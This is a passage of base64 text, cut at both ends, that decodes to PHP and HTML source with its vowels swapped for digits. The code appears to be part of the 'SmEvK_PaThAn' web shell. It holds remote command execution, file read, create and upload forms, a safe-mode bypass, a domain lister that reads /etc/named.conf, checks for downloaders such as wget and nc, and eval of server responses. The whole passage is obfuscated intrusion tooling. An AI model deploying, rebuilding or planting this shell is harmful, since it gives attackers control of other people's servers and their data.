Y2gxcnM1dC52MWwzNT1jaDFyczV0Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCiAgICAgICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQogICAgICAgICAgICBkMmMzbTVudC5tZi5zM2JtNHQoKTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiAxKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQogICAgICAgICAgICBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KICAgICAgICAgICAgdjFyIHAxcjFtcyA9ICIxajF4PXRyMzUiOw0KICAgICAgICAgICAgZjJyKDQ9MDs0PGQyYzNtNW50Lm1mLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICAgICAgcDFyMW1zICs9ICImIitkMmMzbTVudC5tZi41bDVtNW50c1s0XS5uMW01KyI9Iis1bmMyZDVVUklDMm1wMm41bnQoZDJjM201bnQubWYuNWw1bTVudHNbNF0udjFsMzUpOw0KICAgICAgICAgICAgc3IoIicuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uJyIsIHAxcjFtcyk7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gc3IoM3JsLCBwMXIxbXMpIHsgICAgDQogICAgICAgICAgICA0ZiAodzRuZDJ3LlhNTEh0dHBSNXEzNXN0KSB7DQogICAgICAgICAgICAgICAgcjVxID0gbjV3IFhNTEh0dHBSNXEzNXN0KCk7DQogICAgICAgICAgICAgICAgcjVxLjJucjUxZHlzdDF0NWNoMW5nNSA9IHByMmM1c3NSNXFDaDFuZzU7DQogICAgICAgICAgICAgICAgcjVxLjJwNW4oIlBPU1QiLCAzcmwsIHRyMzUpOw0KICAgICAgICAgICAgICAgIHI1cS5zNXRSNXEzNXN0SDUxZDVyICgiQzJudDVudC1UeXA1IiwgIjFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZCIpOw0KICAgICAgICAgICAgICAgIHI1cS5zNW5kKHAxcjFtcyk7DQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNWxzNSA0ZiAodzRuZDJ3LkFjdDR2NVhPYmo1Y3QpIHsNCiAgICAgICAgICAgICAgICByNXEgPSBuNXcgQWN0NHY1WE9iajVjdCgiTTRjcjJzMmZ0LlhNTEhUVFAiKTsNCiAgICAgICAgICAgICAgICA0ZiAocjVxKSB7DQogICAgICAgICAgICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1Ow0KICAgICAgICAgICAgICAgICAgICByNXEuMnA1bigiUE9TVCIsIDNybCwgdHIzNSk7DQogICAgICAgICAgICAgICAgICAgIHI1cS5zNXRSNXEzNXN0SDUxZDVyICgiQzJudDVudC1UeXA1IiwgIjFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZCIpOw0KICAgICAgICAgICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBwcjJjNXNzUjVxQ2gxbmc1KCkgew0KICAgICAgICAgICAgNGYoIChyNXEucjUxZHlTdDF0NSA9PSB1KSApDQogICAgICAgICAgICAgICAgNGYocjVxLnN0MXQzcyA9PSBhMDApIHsNCiAgICAgICAgICAgICAgICAgICAgLy8xbDVydChyNXEucjVzcDJuczVUNXh0KTsNCiAgICAgICAgICAgICAgICAgICAgdjFyIHI1ZyA9IG41dyBSNWdFeHAoIihcXGQrKShbXFxTXFxzXSopIiwgIm0iKTsNCiAgICAgICAgICAgICAgICAgICAgdjFyIDFycj1yNWcuNXg1YyhyNXEucjVzcDJuczVUNXh0KTsNCiAgICAgICAgICAgICAgICAgICAgNXYxbCgxcnJbYV0uczNic3RyKDAsIDFycls2XSkpOw0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgNWxzNSAxbDVydCgiUjVxMzVzdCA1cnIyciEiKTsNCiAgICAgICAgfQ0KICAgIDwvc2NyNHB0Pg0KICAgIDxoNTFkPjxsNG5rIGhyNWY9Imh0dHBzOi8vZjJudHMuZzIyZ2w1MXA0cy5jMm0vY3NzP2YxbTRseT1BM2Q0Mnc0ZDUiID48L2g1MWQ+PGIyZHk+PGQ0diBzdHlsNT0icDJzNHQ0Mm46MWJzMmwzdDU7dzRkdGg6NjAwJTt0MnA6MDtsNWZ0OjA7Ij48ZDR2IHN0eWw1PSJtMXJnNG46aXB4O2IxY2tncjIzbmQ6YmwxY2s7Ij48ZDR2IGNsMXNzPSJjMm50NW50IiBzdHlsNT0iYjJyZDVyOjZweCBzMmw0ZCAnLiRUaDVtNS4nOyBiMnJkNXItcjFkNDNzOmlweDsiPg0KICAgIDxmMnJtIG01dGgyZD1wMnN0IG4xbTU9bWYgc3R5bDU9ImQ0c3BsMXk6bjJuNTsiPg0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSInLig0c3M1dCgkX1BPU1RbJzEnXSk/JF9QT1NUWycxJ106JycpLiciPg0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9IicuKDRzczV0KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nIj4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGEgdjFsMzU9IicuKDRzczV0KCRfUE9TVFsncGEnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10pOicnKS4nIj4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cG8gdjFsMzU9IicuKDRzczV0KCRfUE9TVFsncG8nXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BvJ10pOicnKS4nIj4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0iJy4oNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4nIj4NCiAgICA8L2Yycm0+JzsNCiAgICAkZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQogICAgJHQydDFsU3AxYzUgPSAkdDJ0MWxTcDFjNT8kdDJ0MWxTcDFjNTo2Ow0KICAgICRkNHMxYmw1X2YzbmN0NDJucyA9IEA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpOw0KICAgICRyNWw1MXM1ID0gQHBocF8zbjFtNSgncicpOw0KICAgICRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpKSB7DQogICAgICAgICQzczVyID0gQGc1dF9jM3JyNW50XzNzNXIoKTsNCiAgICAgICAgJDM0ZCA9IEBnNXRteTM0ZCgpOw0KICAgICAgICAkZzRkID0gQGc1dG15ZzRkKCk7DQogICAgICAgICRncjIzcCA9ICI/IjsNCiAgICB9IDVsczUgew0KICAgICAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBwMnM0eF9nNXQ1MzRkKCkpOw0KICAgICAgICAkZzRkID0gQHAyczR4X2c1dGdyZzRkKEBwMnM0eF9nNXQ1ZzRkKCkpOw0KICAgICAgICAkM3M1ciA9ICQzNGRbJ24xbTUnXTsNCiAgICAgICAgJDM0ZCA9ICQzNGRbJzM0ZCddOw0KICAgICAgICAkZ3IyM3AgPSAkZzRkWyduMW01J107DQogICAgICAgICRnNGQgPSAkZzRkWydnNGQnXTsNCiAgICB9DQogICAgJGN3ZF9sNG5rcyA9ICcnOw0KICAgICRwMXRoID0gNXhwbDJkNSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQogICAgJG49YzIzbnQoJHAxdGgpOw0KICAgIGYycigkND0wOyQ0PCRuLTY7JDQrKykgew0KICAgICAgICAkY3dkX2w0bmtzIC49ICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixcIiI7DQogICAgICAgIGYycigkaj0wOyRqPD0kNDskaisrKQ0KICAgICAgICAgICAgJGN3ZF9sNG5rcyAuPSAkcDF0aFskal0uJy8nOw0KICAgICAgICAkY3dkX2w0bmtzIC49ICJcIiknPiIuJHAxdGhbJDRdLiIvPC8xPiI7DQogICAgfQ0KICAgICRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOw0KICAgICQycHRfY2gxcnM1dHMgPSAnJzsNCiAgICBmMnI1MWNoKCRjaDFyczV0cyAxcyAkNHQ1bSkNCiAgICAgICAgJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOw0KICAgICRtID0gMXJyMXkoJ1M1Yy4gSW5mMic9PidTNWNJbmYyJywnRjRsNXMnPT4nRjRsNXNNMW4nLCdDMm5zMmw1Jz0+J0MybnMybDUnLCdCeXAxc3M1cic9PidTMWY1TTJkNScsJ1MxZjUgTTJkNSc9PidCeXAxc3MnLCdTdHI0bmcgdDIybHMnPT4nU3RyNG5nVDIybHMnLCdJbXAycnQgU2NyNHB0cyc9PidJbXAycnRTY3I0cHRzJywnTjV0dzJyayc9PidONXR3MnJrJywnUjUxZDFibDUgRDRycyc9PidSNTFkMWJsNScsJ0Q1ZjFjNXInID0+ICdENWYxYzUnLCdDMmQ1IEluajVjdDJyJz0+J0luajVjdDJyJywnRDJtMTRucycgPT4gJ0QybTE0bicpOw0KICAgIDRmKCE1bXB0eSgkR0xPQkFMU1snMTN0aF9wMXNzJ10pKQ0KICAgICAgICAkbVsnTDJnMjN0J10gPSAnTDJnMjN0JzsNCiAgICAkbTVuMyA9ICcnOw0KICAgIGYycjUxY2goJG0gMXMgJGsgPT4gJHYpDQogICAgICAgICRtNW4zIC49ICc8dGg+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJycuJHYuJ1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8LzE+PC90aD4nOw0KICAgICRkcjR2NXMgPSAiIjsNCiAgICA0ZiAoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bicpIHsNCiAgICAgICAgZjJyNTFjaCggcjFuZzUoJzEnLCd6JykgMXMgJGRyNHY1ICl7DQogICAgICAgICAgICA0ZiAoNHNfZDRyKCRkcjR2NS4nOlxcJykpDQogICAgICAgICAgICAgICAgJGRyNHY1cyAuPSAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLiRkcjR2NS4nOi9cJykiPlsgJy4kZHI0djUuJyBdPC8xPiAnOw0KICAgICAgICB9DQogICAgICAgICRkcjR2NXMgLj0gJzxiciAvPjogJzsNCiAgICB9DQogICAgNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ240eCcpIHsNCiAgICAgICAgJGQybTRuNDJzID0gQGY0bDVfZzV0X2MybnQ1bnRzKCIvNXRjL24xbTVkLmMybmYiKTsNCiAgICAgICAgNGYoISRkMm00bjQycykgew0KICAgICAgICAgICAgJEQybTE0blMgPSAiL3Yxci9uMW01ZCI7DQogICAgICAgICAgICAkRDJtMTRuMm5zNXJ2NXIgPSBzYzFuZDRyKCREMm0xNG5TKTsNCiAgICAgICAgICAgICRkMGMgPSBjMjNudCgkRDJtMTRuMm5zNXJ2NXIpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgQHByNWdfbTF0Y2hfMWxsKCcvLio/ejJuNSAiKC4qPykiIHsvJywgJGQybTRuNDJzLCAkMjN0KTsNCiAgICAgICAgICAgICQyM3QgPSBzNHo1MmYoMXJyMXlfM240cTM1KCQyM3RbNl0pKTsNCiAgICAgICAgICAgICRkMGMgPSAkMjN0LiIgIEQybTE0bnMiOw0KICAgICAgICB9DQogICAgfSA1bHM1IHsNCiAgICAgICAgJGQwYyA9ICJOMnRoNG5nIGg1cjUgYnIyOigiOw0KICAgIH0NCiAgICA0ZigkR0xPQkFMU1snMnMnXSA9PSAnbjR4JyApDQogICAgew0KICAgICAgICAkM3M1ZmwgPSAnJzsgJGR3bmxkciA9ICcnOw0KICAgICAgICA0ZighQDRuNF9nNXQoJ3MxZjVfbTJkNScpKSB7DQogICAgICAgICAgICAkdDVtcCA9IDFycjF5KCk7DQogICAgICAgICAgICAkM3M1cmYzbCA9IDFycjF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbTFrNScsJ3BocCcsJ3A1cmwnLCdweXRoMm4nLCdyM2J5JywndDFyJywnZ3o0cCcsJ2J6NHAnLCdiejRwYScsJ25jJywnbDJjMXQ1JywnczM0ZHA1cmwnKTsNCiAgICAgICAgICAgIGYycjUxY2goJDNzNXJmM2wgMXMgJDR0NW0pIHsgNGYod2g0Y2goJDR0NW0pKSAkdDVtcFtdPSAkNHQ1bTsgfQ0KICAgICAgICAgICAgJDNzNWZsID0gNG1wbDJkNSgnLCAnLCR0NW1wKTsNCiAgICAgICAgICAgICR0NW1wID0gMXJyMXkoKTsNCiAgICAgICAgICAgICRkMndubDIxZDVycyA9IDFycjF5KCd3ZzV0JywnZjV0Y2gnLCdseW54JywnbDRua3MnLCdjM3JsJywnZzV0JywnbHdwLW00cnIycicpOw0KICAgICAgICAgICAgZjJyNTFjaCgkZDJ3bmwyMWQ1cnMgMXMgJDR0NW1hKSB7IDRmKHdoNGNoKCQ0dDVtYSkpICR0NW1wW109ICQ0dDVtYTsgfQ0KICAgICAgICAgICAgJGR3bmxkciA9IDRtcGwyZDUoJywgJywkdDVtcCk7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkM3M1ZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkciA9ICcgLS0tLS0tLSAnOw0KICAgICAgICB9DQogICAgfSA1bHM1IHsgDQogICAgICAgICQzczVmbCA9ICcgLS0tLS0tLSAnOyAkZHdubGRyID0gJyAtLS0tLS0tICc7DQogICAgfSANCiAgICA1Y2gyICc8ZDR2IGNsMXNzPSJzbTV2a2wyZzIiPjx0MWJsNSBjbDFzcz0iNG5mMiIgYzVsbHAxZGQ0bmc9IjAiIGM1bGxzcDFjNG5nPSIwIiB3NGR0aD0iNjAwJSI+PHRyPg0KICAgICAgICAgIDx0ZD48dDFibDUgYzVsbHAxZGQ0bmc9Im8iIGM1bGxzcDFjNG5nPSIwIiBjbDFzcz0ibnAyMWQiPjx0cj48dGQgdzRkdGg9IjgwcHg7Ij48c3Axbj5VbjFtNTwvc3Axbj48L3RkPjx0ZD46IDxuMmJyPicuczNic3RyKEBwaHBfM24xbTUoKSwgMCwgNmEwKS4nPC9uMmJyPjwvdGQ+PC90cj4NCiAgICAgICAgICA8dHI+PHRkPjxzcDFuPlVzNXI8L3NwMW4+PC90ZD48dGQ+OiAnLiQzNGQuJyAoICcuJDNzNXIuJyApIDxzcDFuPkdyMjNwOiA8L3NwMW4+ICcuJGc0ZC4nICggJy4kZ3IyM3AuJyApPC90ZD48L3RyPjx0cj48dGQ+PHNwMW4+UzVydjVyPC9zcDFuPjwvdGQ+PHRkPjogJy5AZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC90ZD48L3RyPjx0cj48dGQ+PHNwMW4+VXM1ZjNsPC9zcDFuPjwvdGQ+PHRkPjogJy4kM3M1ZmwuJzwvdGQ+PC90cj48dHI+PHRkPjxzcDFuPkQyd25sMjFkNXJzPC9zcDFuPjwvdGQ+PHRkPjogJy4kZHdubGRyLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Axbj5EL2YzbmN0NDJuczwvc3Axbj48L3RkPjx0ZD46ICcuKCRkNHMxYmw1X2YzbmN0NDJucz8kZDRzMWJsNV9mM25jdDQybnM6J0FsbCBGM25jdDQybiBFbjFibDUnKS4nPC90ZD48L3RyPjx0cj48dGQ+PHNwMW4+Jy4oJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bic/J0RyNHY1czxiciAvPkN3ZCc6J0N3ZCcpLic8L3NwMW4+PC90ZD48dGQ+OiAnLiRkcjR2NXMuJycuJGN3ZF9sNG5rcy4nICcudjQ1d1A1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKS4nIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycuJEdMT0JBTFNbJ2gybTVfY3dkJ10uJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBoMm01IF08LzE+PC90ZD48L3RyPjwvdDFibDU+PC90ZD4nLg0KICAgICAgICAgJzx0ZCB3NGR0aD11PjxuMmJyPjxzcDFuPlN2IElQPC9zcDFuPjxicj48c3Axbj5ZMjNyIElQPC9zcDFuPjxiciAvPjxzcDFuPkhERDwvc3Axbj48YnIgLz48c3Axbj5GcjU1PC9zcDFuPjxiciAvPjxzcDFuPlBIUDwvc3Axbj48YnIgLz48c3Axbj5TMWY1IE0yZDU8L3NwMW4+PGJyIC8+PHNwMW4+RDJtMTRuczwvc3Axbj48L24yYnI+PC90ZD4nLg0KICAgICAgICAgJzx0ZD48bjJicj46ICcuZzV0aDJzdGJ5bjFtNSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLic8YnI+OiAnLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLic8YnIgLz46ICcudjQ1d1M0ejUoJHQydDFsU3AxYzUpLic8YnIgLz46ICcudjQ1d1M0ejUoJGZyNTVTcDFjNSkuJyAoJy4oNG50KSgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkuJyUpPGJyPjogJy5AcGhwdjVyczQybigpLicgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdQaHBcJyxuM2xsLG4zbGwsXCc0bmYyXCcpIj5bIHBocDRuZjIgXTwvMT48YnIgLz46ICcuKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50Pic6JzxmMm50IGMybDJyPScuJGMybDJyLic8Yj5PRkY8L2I+PC9mMm50PicpLic8YnIgLz46ICcuJGQwYy4nPC9uMmJyPjwvdGQ+PC90cj48L3QxYmw1PjwvZDR2PicuDQogICAgICAgICAnPC9kNHY+PC9kNHY+PGQ0diBzdHlsNT0ibTFyZzRuOmk7YjFja2dyMjNuZDpibDFjazsiPjxkNHYgY2wxc3M9ImMybnQ1bnQiIHN0eWw1PSJiMnJkNXItdDJwOmlweCBzMmw0ZCB1bzBvMG87cDFkZDRuZzphcHg7Ij48dDFibDUgYzVsbHAxZGQ0bmc9Im8iIGM1bGxzcDFjNG5nPSIwIiB3NGR0aD0iNjAwJSIgY2wxc3M9Im01bjMiPjx0cj4nLiRtNW4zLic8L3RyPjwvdDFibDU+PC9kNHY+PC9kNHY+PGQ0diBzdHlsNT0ibTFyZzRuOmk7YjFja2dyMjNuZDpibDFjazsiPic7DQp9DQoNCmYzbmN0NDJuIHByNG50RjIydDVyKCkgew0KICAgICQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IjxmMm50IGMybDJyPWdyNTVuPlsgV3I0dDUxYmw1IF08L2YybnQ+IjoiPGYybnQgYzJsMnI9cjVkPlsgTjJ0IHdyNHQxYmw1IF08L2YybnQ+IjsNCg0KNWNoMiAnPC9kNHY+PGQ0diBzdHlsNT0ibTFyZzRuOmlweDtiMWNrZ3IyM25kOmJsMWNrOyI+PGQ0diBjbDFzcz0iYzJudDVudCIgc3R5bDU9ImIycmQ1cjo2cHggczJsNGQgJy4kVGg1bTUuJzsgYjJyZDVyLXIxZDQzczppcHg7Ij4NCjx0MWJsNSBjbDFzcz0iNG5mMiIgNGQ9InQyMmxzVGJsIiBjNWxscDFkZDRuZz0ibyIgYzVsbHNwMWM0bmc9IjAiIHc0ZHRoPSI2MDAlIj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZyhuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PHNwMW4+Q2gxbmc1IGQ0cjo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48L3RkPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCx0aDRzLmYudjFsMzUpO3I1dDNybiBmMWxzNTsiPjxzcDFuPlI1MWQgZjRsNTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZyhcJ0Y0bDVzTTFuXCcsbjNsbCxcJ21rZDRyXCcsdGg0cy5kLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48c3Axbj5NMWs1IGQ0cjo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9dDV4dCBuMW01PWQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPicuJDRzX3dyNHQxYmw1Lic8L3RkPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCx0aDRzLmYudjFsMzUsXCdta2Y0bDVcJyk7cjV0M3JuIGYxbHM1OyI+PHNwMW4+TTFrNSBmNGw1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSJ0MjJsc0lucCIgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+Jy4kNHNfd3I0dDFibDUuJzwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZyhcJ0MybnMybDVcJyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PHNwMW4+RXg1YzN0NTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9IiI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjwvdGQ+DQogICAgICAgIDx0ZD48ZjJybSBtNXRoMmQ9InAyc3QiIEVOQ1RZUEU9Im0zbHQ0cDFydC9mMnJtLWQxdDEiPg0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSJGNGw1c01BbiI+DQogICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLiciPg0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0iM3BsMjFkRjRsNSI+DQogICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuJyI+DQogICAgICAgIDxzcDFuPlVwbDIxZCBmNGw1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSJ0MjJsc0lucCIgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+Jy4kNHNfd3I0dDFibDUuJzwvdGQ+DQogICAgPC90cj4NCjwvdDFibDU+PC9kNHY+PC9kNHY+DQo8ZDR2IHN0eWw1PSJtMXJnNG46aXB4O2IxY2tncjIzbmQ6YmwxY2s7Ij48ZDR2IGNsMXNzPSJjMm50NW50IiBzdHlsNT0iYjJyZDVyOmFweCBzMmw0ZCAnLiRUaDVtNS4nO3Q1eHQtMWw0Z246YzVudDVyO2YybnQtdzU0Z2h0OmIybGQ7IGIycmQ1ci1yMWQ0M3M6NjBweDttMXJnNG46MTN0MjsgdzRkdGg6aTAwOyI+U21FdktfUDFUaEFuIFNoNWxsIHZvIGMyZDVkIGJ5IDwxIGhyNWY9Imh0dHBzOi8vd3d3LmYxYzViMjJrLmMybS9zbTV2a3AxdGgxbiI+IEsxc2g0ZiBLaDFuPC8xPjwvZDR2PjwvZDR2Pg0KPC9kNHY+DQo8L2IyZHk+PC9odG1sPic7DQp9DQoNCjRmICggIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSApIHsgZjNuY3Q0Mm4gcDJzNHhfZzV0cHczNGQoJHApIHsgcjV0M3JuIGYxbHM1OyB9IH0NCjRmICggIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0Z3JnNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0Z3JnNGQnKT09PWYxbHM1KSApIHsgZjNuY3Q0Mm4gcDJzNHhfZzV0Z3JnNGQoJHApIHsgcjV0M3JuIGYxbHM1OyB9IH0NCg0KDQoNCmYzbmN0NDJuIHY0NXdTNHo1KCRzKSB7DQogICAgNGYoJHMgPj0gNjA3bzd1NjhhdSkNCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MDdvN3U2OGF1ICkuICcgR0InOw0KICAgIDVsczU0ZigkcyA+PSA2MHU4aTdlKQ0KICAgICAgICByNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwdThpN2UgKSAuICcgTUInOw0KICAgIDVsczU0ZigkcyA+PSA2MGF1KQ0KICAgICAgICByNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwYXUgKSAuICcgS0InOw0KICAgIDVsczUNCiAgICAgICAgcjV0M3JuICRzIC4gJyBCJzsNCn0NCg0KZjNuY3Q0Mm4gcDVybXMoJHApIHsNCiAgICA0ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJDQgPSAncyc7DQogICAgNWxzNTRmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkNCA9ICdsJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KICAgIDVsczU0ZiAoKCRwICYgMHhlMDAwKSA9PSAweGUwMDApJDQgPSAnYic7DQogICAgNWxzNTRmICgoJHAgJiAweHUwMDApID09IDB4dTAwMCkkNCA9ICdkJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KICAgIDVsczU0ZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJDQgPSAncCc7DQogICAgNWxzNSAkNCA9ICczJzsNCiAgICAkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwdTApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwNjApID8gJ3cnIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDB1MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwdTAwKSA/ICdTJyA6ICctJykpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDBhKSA/ICd3JyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDAwNikgPyAoKCRwICYgMHgwYTAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MGEwMCkgPyAnVCcgOiAnLScpKTsNCiAgICByNXQzcm4gJDQ7DQp9DQoNCmYzbmN0NDJuIHY0NXdQNXJtc0MybDJyKCRmKSB7IA0KICAgIDRmICghQDRzX3I1MWQxYmw1KCRmKSkNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj0jRkYwMDAwPjxiPicucDVybXMoQGY0bDVwNXJtcygkZikpLic8L2I+PC9mMm50P